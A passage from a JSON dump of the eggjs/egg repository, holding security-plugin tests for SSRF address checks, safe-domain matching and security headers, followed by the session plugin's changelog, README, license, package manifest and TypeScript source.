options: any) => {\n      options.checkAddress('10.1.1.1') && count++;\n      return { data: 'response' };\n    });\n\n    const r1 = await app.safeCurl<string>(url);\n    const r2 = await app.agent.safeCurl(url);\n    const r3 = await ctx.safeCurl(url);\n    expect(r1.data).toBe('response');\n    expect(r2.data).toBe('response');\n    expect(r3.data).toBe('response');\n    expect(count).toBe(3);\n  });\n});\n\ndescribe('hostnameExceptionList', () => {\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('apps/ssrf-hostname-exception-list') });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should safeCurl work', async () => {\n    const ctx = app.createAnonymousContext();\n    const host = process.env.CI ? 'registry.npmjs.org' : 'registry.npmmirror.com';\n    const url = `https://${host}`;\n    mm(app, 'curl', async (_url: string, options: any) => {\n      options.checkAddress('10.0.0.1', 4, host);\n      return 'response';\n    });\n    mm(app.agent, 'curl', async (_url: string, options: any) => {\n      options.checkAddress('10.0.0.1', 4, host);\n      return 'response';\n    });\n    mm(ctx, 'curl', async (_url: string, options: any) => {\n      options.checkAddress('10.0.0.1', 4, host);\n      return 'response';\n    });\n\n    await app.safeCurl(url, { dataType: 'json' });\n    await app.agent.safeCurl(url, { dataType: 'json' });\n    await ctx.safeCurl(url, { dataType: 'json' });\n  });\n});\n\nasync function checkIllegalAddressError(instance: any, url: string) {\n  try {\n    await instance.safeCurl(url);\n    throw new Error('should not execute');\n  } catch (err: any) {\n    expect(err.name).toBe('IllegalAddressError');\n    expect(err.message).toMatch(/illegal address/);\n  }\n}\n"
  },
  {
    "path": "plugins/security/test/utils.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect, afterEach } from 'vitest';\n\nimport * as utils from '../src/lib/utils.ts';\nimport { getFixtures } from './utils.ts';\n\ndescribe('utils.isSafeDomain', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/isSafeDomain'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  const domainWhiteList = ['.domain.com', '*.alibaba.com', 'http://www.baidu.com', '192.*.0.*', 'foo.bar'];\n  it('should return false when domains are not safe', async () => {\n    const res = await app.httpRequest().get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBe('false');\n  });\n\n  it('should return true when domains are safe', async () => {\n    const res = await app.httpRequest().get('/safe').set('accept', 'text/html').expect(200);\n    expect(res.text).toBe('true');\n  });\n\n  it('should return true', () => {\n    expect(utils.isSafeDomain('domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('foo.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.foo.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.....domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('okokok----.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('foo.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.foo.domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('.....domain.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('okokok----.domain.com', domainWhiteList)).toBe(true);\n\n    // Wild Cast check\n    expect(utils.isSafeDomain('www.alibaba.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('www.tianmao.alibaba.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('www.tianmao.AlIBAba.COm', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('http://www.baidu.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('192.168.0.255', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('foo.bar', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('www.alibaba.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('www.tianmao.alibaba.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('www.tianmao.AlIBAba.COm', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('http://www.baidu.com', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('192.168.0.255', domainWhiteList)).toBe(true);\n    expect(utils.isSafeDomain('foo.bar', domainWhiteList)).toBe(true);\n  });\n\n  it('should return false', () => {\n    expect(utils.isSafeDomain('', domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain(undefined, domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain(null, domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain(0, domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain(1, domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain({}, domainWhiteList)).toBe(false);\n    expect((utils as any).isSafeDomain(function () {}, domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('aaa-domain.com', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain(' domain.com', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('pwd---.-domain.com', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('ok. domain.com', domainWhiteList)).toBe(false);\n\n    // Wild Cast check\n    expect(utils.isSafeDomain('www.alibaba.com.cn', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('www.tianmao.alibab.com', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('http://www.baidu.com/zh-CN', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('192.168.1.255', domainWhiteList)).toBe(false);\n    expect(utils.isSafeDomain('foofoo.bar', domainWhiteList)).toBe(false);\n  });\n});\n\ndescribe.skipIf(process.platform === 'win32')('utils.checkIfIgnore', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n  let app4: MockApplication;\n  let app5: MockApplication;\n  let app6: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass'),\n    });\n    await app.ready();\n\n    app2 = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass2'),\n    });\n    await app2.ready();\n\n    app3 = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass3'),\n    });\n    await app3.ready();\n\n    app4 = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass4'),\n    });\n    await app4.ready();\n\n    app5 = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass5'),\n    });\n    await app5.ready();\n\n    app6 = mm.app({\n      baseDir: getFixtures('apps/utils-check-if-pass6'),\n    });\n    await app6.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n    await app4.close();\n    await app5.close();\n    await app6.close();\n  });\n\n  it('should use match', async () => {\n    const res = await app.httpRequest().get('/match').expect(200);\n    expect(res.headers['x-csp-nonce'].length).toBe(16);\n  });\n\n  it('global match should not work', async () => {\n    const res = await app.httpRequest().get('/luckydrq').expect(200);\n    expect(res.headers['x-csp-nonce'].length).toBe(16);\n  });\n\n  it('own match should replace global match', async () => {\n    let res = await app2.httpRequest().get('/mymatch').expect(200);\n    expect(res.headers['x-csp-nonce'].length).toBe(16);\n    res = await app2.httpRequest().get('/match').expect(200);\n    expect(res.headers['x-csp-nonce']).toBeUndefined();\n  });\n\n  it('own match has priority over own ignore', async () => {\n    const res = await app2.httpRequest().get('/mytrueignore').expect(200);\n    expect(res.headers['x-csp-nonce']).toBeUndefined();\n  });\n\n  it('should not use global ignore', async () => {\n    const res = await app3.httpRequest().get('/ignore').expect(200);\n    expect(res.headers['x-csp-nonce'].length).toBe(16);\n  });\n\n  it('own ignore should replace global ignore', async () => {\n    let res = await app4.httpRequest().get('/ignore').expect(200);\n    expect(res.headers['x-csp-nonce'].length).toBe(16);\n    res = await app4.httpRequest().get('/myignore').expect(200);\n    expect(res.headers['x-csp-nonce']).toBeUndefined();\n  });\n\n  it('should ignore array work', async () => {\n    let res = await app5.httpRequest().get('/ignore1').expect(200);\n    expect(res.headers['x-frame-options']).toBeUndefined();\n\n    res = await app5.httpRequest().get('/ignore2').expect(200);\n    expect(res.headers['x-frame-options']).toBeUndefined();\n\n    res = await app5.httpRequest().get('/').expect(200);\n    expect(res.header['x-frame-options']).toBe('SAMEORIGIN');\n  });\n\n  it('should match array work', async () => {\n    let res = await app6.httpRequest().get('/match1').expect(200);\n    expect(res.headers['x-frame-options']).toBe('SAMEORIGIN');\n\n    res = await app6.httpRequest().get('/match2').expect(200);\n    expect(res.headers['x-frame-options']).toBe('SAMEORIGIN');\n\n    res = await app6.httpRequest().get('/').expect(200);\n    expect(res.headers['x-frame-options']).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "plugins/security/test/xframe.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/xframe.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n  let app4: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/iframe'),\n    });\n    await app.ready();\n\n    app2 = mm.app({\n      baseDir: getFixtures('apps/iframe-novalue'),\n    });\n    await app2.ready();\n\n    app3 = mm.app({\n      baseDir: getFixtures('apps/iframe-allowfrom'),\n    });\n    await app3.ready();\n\n    app4 = mm.app({\n      baseDir: getFixtures('apps/iframe-black-urls'),\n    });\n    await app4.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n    await app4.close();\n  });\n\n  it('should contain X-Frame-Options: SAMEORIGIN', async () => {\n    await app.httpRequest().get('/').set('accept', 'text/html').expect('X-Frame-Options', 'SAMEORIGIN');\n\n    await app.httpRequest().get('/foo').set('accept', 'text/html').expect('X-Frame-Options', 'SAMEORIGIN');\n  });\n\n  it('should contain X-Frame-Options: ALLOW-FROM http://www.domain.com by this.securityOptions', async () => {\n    const res = await app.httpRequest().get('/options').set('accept', 'text/html').expect(200);\n    expect(res.headers['x-frame-options']).toBe('ALLOW-FROM http://www.domain.com');\n  });\n\n  it('should contain X-Frame-Options: SAMEORIGIN when dont set value option', async () => {\n    await app2.httpRequest().get('/foo').set('accept', 'text/html').expect('X-Frame-Options', 'SAMEORIGIN');\n  });\n\n  it('should contain X-Frame-Options: ALLOW-FROM with page when set ALLOW-FROM and page option', async () => {\n    await app3\n      .httpRequest()\n      .get('/foo')\n      .set('accept', 'text/html')\n      .expect('X-Frame-Options', 'ALLOW-FROM http://www.domain.com');\n  });\n\n  it('should not contain X-Frame-Options: SAMEORIGIN when use ignore', async () => {\n    let res = await app.httpRequest().get('/hello').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app4.httpRequest().get('/hello').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app.httpRequest().get('/world/12').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app.httpRequest().get('/world/12?xx=xx').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app2.httpRequest().get('/hello').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app2.httpRequest().get('/world/12').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n\n    res = await app2.httpRequest().get('/world/12?xx=xx').set('accept', 'text/html').expect(200);\n    expect(res.headers['X-Frame-Options']).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/xss.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// windows unstable\ndescribe.skipIf(process.platform === 'win32')('test/xss.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/xss'),\n    });\n    await app.ready();\n\n    app2 = mm.app({\n      baseDir: getFixtures('apps/xss-close'),\n    });\n    await app2.ready();\n\n    app3 = mm.app({\n      baseDir: getFixtures('apps/xss-close-zero'),\n    });\n    await app3.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n  });\n\n  it('should contain default X-XSS-Protection header', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('accept', 'text/html')\n      .expect('X-XSS-Protection', '1; mode=block')\n      .expect(200);\n  });\n\n  it('should set X-XSS-Protection header value 0 by this.securityOptions', () => {\n    return app.httpRequest().get('/0').set('accept', 'text/html').expect('X-XSS-Protection', '0').expect(200);\n  });\n\n  it('should set X-XSS-Protection header value 0', () => {\n    return app2.httpRequest().get('/').set('accept', 'text/html').expect('X-XSS-Protection', '0').expect(200);\n  });\n\n  it('should set X-XSS-Protection header value 0 when config is number 0', () => {\n    expect(app3.config.security.xssProtection).toMatchSnapshot();\n    return app3.httpRequest().get('/').set('accept', 'text/html').expect('X-XSS-Protection', '0').expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/security/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/security/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n  },\n});\n"
  },
  {
    "path": "plugins/session/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\ntest/fixtures/**/run\n.DS_Store\n.tshy*\n.eslintcache\ndist\npackage-lock.json\n.package-lock.json\n"
  },
  {
    "path": "plugins/session/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.0.1](https://github.com/eggjs/session/compare/v4.0.0...v4.0.1) (2025-01-21)\n\n\n### Bug Fixes\n\n* should export sessionStore ([#21](https://github.com/eggjs/session/issues/21)) ([30e2b25](https://github.com/eggjs/session/commit/30e2b25864edf180695e42a90a8a8bbd9399d63a))\n\n## [4.0.0](https://github.com/eggjs/session/compare/v3.3.0...v4.0.0) (2025-01-19)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n## Release Notes\n\n- **Package Upgrade**\n\t- Renamed package from `egg-session` to `@eggjs/session`\n\t- Updated Node.js compatibility to version 18.19.0+\n\n- **New Features**\n\t- Enhanced session configuration with improved type safety\n\t- Added support for more granular session management\n\t- Improved logging and security configurations\n\n- **Breaking Changes**\n\t- Dropped support for Node.js versions below 18.19.0\n\t- Migrated from generator functions to async/await syntax\n\t- Updated session middleware and configuration structure\n\n- **Performance**\n\t- Updated dependencies, including `koa-session` to version 7.0.2\n\t- Optimized session store handling\n\n- **Security**\n\t- Strengthened default session configurations\n\t- Added warnings for potential security risks in session settings\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#20](https://github.com/eggjs/session/issues/20)) ([b1a96e5](https://github.com/eggjs/session/commit/b1a96e5c254dadf6664499e7018246898751db2a))\n\n3.3.0 / 2021-03-23\n==================\n\n**features**\n  * [[`fb47f1b`](http://github.com/eggjs/egg-session/commit/fb47f1b5dd5037def631066a95f36e9c2488e5f3)] - feat: as default not to log the session val (#17) (clchenliang <<clchenliang@hotmail.com>>)\n\n**others**\n  * [[`a21e6fe`](http://github.com/eggjs/egg-session/commit/a21e6fe89b5228a4fc9609e775f0909c2bb465ee)] - test: add test case for session maxAge (#16) (Yiyu He <<dead_horse@qq.com>>)\n\n3.2.0 / 2020-05-12\n==================\n\n**features**\n  * [[`39629ab`](http://github.com/eggjs/egg-session/commit/39629abe1c22ee963f80ab69c18a94c3a3f81cd6)] - feat: warn if httpOnly set to false (#13) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`c0d3cdc`](http://github.com/eggjs/egg-session/commit/c0d3cdc23b9138cecb9d30f8e523bdd593e009fb)] - deps: koa-session@6 (#15) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`75c8ee6`](http://github.com/eggjs/egg-session/commit/75c8ee6c4143362edced399d66c11834bc00ae5f)] - test: add sameSite=none test case (#14) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c9865a7`](http://github.com/eggjs/egg-session/commit/c9865a7e05db773a1a37c296f2170e6ffa899761)] - chore: update travis (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`3168fb7`](http://github.com/eggjs/egg-session/commit/3168fb78877dbbc91c4d2df1ed762f9f5684f52d)] - doc: fix miss backticks (#12) (supperchong <<2267805901@qq.com>>)\n\n3.1.0 / 2018-01-09\n==================\n\n**features**\n  * [[`e34fd6e`](http://github.com/eggjs/egg-session/commit/e34fd6e43e9ce933e5a6cb013b37af5f2f959768)] - feat: listen session events and warn (#11) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`08fd920`](http://github.com/eggjs/egg-session/commit/08fd920cd85cb1c528b74f00e9d2605fbd2e0c86)] - docs: update readme to async function (dead-horse <<dead_horse@qq.com>>)\n\n3.0.0 / 2017-11-09\n==================\n\n**others**\n  * [[`38e901b`](http://github.com/eggjs/egg-session/commit/38e901ba06373647074530acdaa72f01d33551a7)] - refactor: upgrade koa-session, support egg2. [BREAKING CHANGE] (#10) (Yiyu He <<dead_horse@qq.com>>)\n\n2.1.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#9)\n\n2.1.0 / 2017-03-02\n==================\n\n  * feat: support set sessionStore to null and get sessionStore (#8)\n\n2.0.0 / 2017-02-28\n==================\n\n  * feat: upgrade koa-session@4, support external session store (#7)\n  * feat: remove cookie length check (#6)\n  * chore: upgrade deps and fix test (#5)\n\n1.1.0 / 2016-11-17\n==================\n\n  * feat: check response cookie's length (#4)\n\n1.0.0 / 2016-11-03\n==================\n\n  * chore: update deps and test on node v7 (#3)\n  * test: fix appveyor yml (#2)\n  * test: add testcase (#1)\n\n0.0.2 / 2016-07-14\n==================\n\n  * fix: package.json\n\n0.0.1 / 2016-07-14\n==================\n\n  * feat: init\n"
  },
  {
    "path": "plugins/session/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/session/README.md",
    "content": "# @eggjs/session\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/session.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/session)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/session.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/session\n[snyk-image]: https://snyk.io/test/npm/@eggjs/session/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/session\n[download-image]: https://img.shields.io/npm/dm/@eggjs/session.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/session\n\nSession plugin for egg, based on [koa-session](https://github.com/koajs/session).\n\n## Usage\n\n`session` is a built-in plugin in egg and enabled by default.\n\n```js\n// {app_root}/config/plugin.js\nexports.session = true; // enable by default\n```\n\n### External Store\n\negg-session support external store, you can store your sessions in redis, memcached or other databases.\n\nFor example, if you want to store session in redis, you must:\n\n1. Dependent [@eggjs/redis](https://github.com/eggjs/egg/tree/next/plugins/redis)\n\n```bash\nnpm i --save @eggjs/redis\n```\n\n2. Import `@eggjs/redis` as a plugin and set the configuration\n\n```js\n// config/plugin.js\nexports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n```\n\n```js\n// config/config.default.js\nexports.redis = {\n  // your redis configurations\n};\n```\n\n3. Implement a session store with redis\n\n```js\n// app.js\n\nmodule.exports = app => {\n  // set redis session store\n  // session store must have 3 methods\n  // define sessionStore in `app.js` so you can access `app.redis`\n  app.sessionStore = {\n    async get(key) {\n      const res = await app.redis.get(key);\n      if (!res) return null;\n      return JSON.parse(res);\n    },\n\n    async set(key, value, maxAge) {\n      // maxAge not present means session cookies\n      // we can't exactly know the maxAge and just set an appropriate value like one day\n      if (!maxAge) maxAge = 24 * 60 * 60 * 1000;\n      value = JSON.stringify(value);\n      await app.redis.set(key, value, 'PX', maxAge);\n    },\n\n    async destroy(key) {\n      await app.redis.del(key);\n    },\n  };\n\n  // session store can be a session store class\n  // app.sessionStore = class Store {\n  //   constructor(app) {\n  //     this.app = app;\n  //   }\n  //   async get() {}\n  //   async set() {}\n  //   async destroy() {}\n  // };\n};\n```\n\nOnce you use external session store, session is strong dependent on your external store, you can't access session if your external store is down. **Use external session stores only if necessary, avoid use session as a cache, keep session lean and stored by cookie!**\n\n## Configuration\n\nSupport all configurations in [koa-session](https://github.com/koajs/session).\n\n- logValue\n\n```bash\nSupport not to print the session value when session event trigger log. Default to be true.\n```\n\n[View the default configurations](https://github.com/eggjs/egg/tree/next/plugins/session/src/config/config.default.ts)\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/session/package.json",
    "content": "{\n  \"name\": \"@eggjs/session\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"session plugin for egg\",\n  \"keywords\": [\n    \"cookie\",\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"session\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/session#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"dead_horse\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/session\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/middleware/session\": \"./src/app/middleware/session.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/middleware/session\": \"./dist/app/middleware/session.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"koa-session\": \"catalog:\",\n    \"zod\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/redis\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/session/src/app/extend/application.ts",
    "content": "import assert from 'node:assert';\n\nimport { Application } from 'egg';\n\nimport type { SessionConfig } from '../../config/config.default.ts';\n\nexport type SessionStore = Required<SessionConfig>['store'];\n\nexport type SessionStoreOrAppSessionStoreClass =\n  | SessionStore\n  | {\n      new (app: Application): SessionStore;\n    };\n\nexport default class SessionApplication extends Application {\n  /**\n   * set session external store\n   *\n   * ```js\n   * app.sessionStore = {\n   *   get(key): Promise<unknown>,\n   *   set(key, data): Promise<void>,\n   *   destroy(key): Promise<void>,\n   * };\n   *\n   * app.sessionStore = class SessionStore {\n   *   constructor(app) {\n   *   }\n   *   get(key): Promise<unknown>,\n   *   set(key, data): Promise<void>,\n   *   destroy(key): Promise<void>,\n   * }\n   * ```\n   * @param {Class|Object} store session store class or instance\n   */\n  set sessionStore(store: SessionStoreOrAppSessionStoreClass | null | undefined) {\n    if (this.config.session.store && this.config.env !== 'unittest') {\n      this.coreLogger.warn('[@eggjs/session] sessionStore already exists and will be overwrite');\n    }\n\n    // support this.sessionStore = null to disable external store\n    if (!store) {\n      this.config.session.store = undefined;\n      this.coreLogger.info('[@eggjs/session] sessionStore is disabled');\n      return;\n    }\n\n    if (typeof store === 'function') {\n      store = new store(this);\n    }\n    assert(typeof store.get === 'function', 'store.get must be function');\n    assert(typeof store.set === 'function', 'store.set must be function');\n    assert(typeof store.destroy === 'function', 'store.destroy must be function');\n    this.config.session.store = store;\n  }\n\n  /**\n   * get sessionStore instance\n   */\n  get sessionStore(): SessionStore | undefined {\n    return this.config.session.store;\n  }\n}\n"
  },
  {
    "path": "plugins/session/src/app/middleware/session.ts",
    "content": "import { createSession } from 'koa-session';\n\nexport default createSession;\n"
  },
  {
    "path": "plugins/session/src/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nimport { SessionConfig } from './config/config.default.ts';\n\nexport default class AppBoot implements ILifecycleBoot {\n  private readonly app;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    const app = this.app;\n    SessionConfig.parse(app.config.session);\n\n    if (!app.config.session.httpOnly) {\n      app.coreLogger.warn(\n        '[@eggjs/session]: please set `config.session.httpOnly` to true. It is very dangerous if session can read by client JavaScript.',\n      );\n    }\n    app.config.coreMiddleware.push('session');\n    // listen on session's events\n    app.on('session:missed', ({ ctx, key }) => {\n      ctx.coreLogger.warn('[session][missed] key(%s)', key);\n    });\n    app.on('session:expired', ({ ctx, key, value }) => {\n      ctx.coreLogger.warn('[session][expired] key(%s) value(%j)', key, app.config.session.logValue ? value : '');\n    });\n    app.on('session:invalid', ({ ctx, key, value }) => {\n      ctx.coreLogger.warn('[session][invalid] key(%s) value(%j)', key, app.config.session.logValue ? value : '');\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/session/src/config/config.default.ts",
    "content": "import { SessionOptions } from 'koa-session';\nimport z from 'zod';\n\nexport const SessionConfig = SessionOptions.extend({\n  logValue: z.boolean().default(true),\n}) satisfies z.ZodType as z.ZodType<typeof SessionOptions._type & { logValue: boolean }>;\n\nexport type SessionConfig = z.infer<typeof SessionConfig>;\n\nconst config: { session: SessionConfig } = {\n  session: SessionConfig.parse({\n    maxAge: 24 * 3600 * 1000, // ms, one day\n    key: 'EGG_SESS',\n    httpOnly: true,\n    encrypt: true,\n  }),\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/session/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\nexport * from './config/config.default.ts';\n\nexport default definePluginFactory({\n  name: 'session',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/session/src/types.ts",
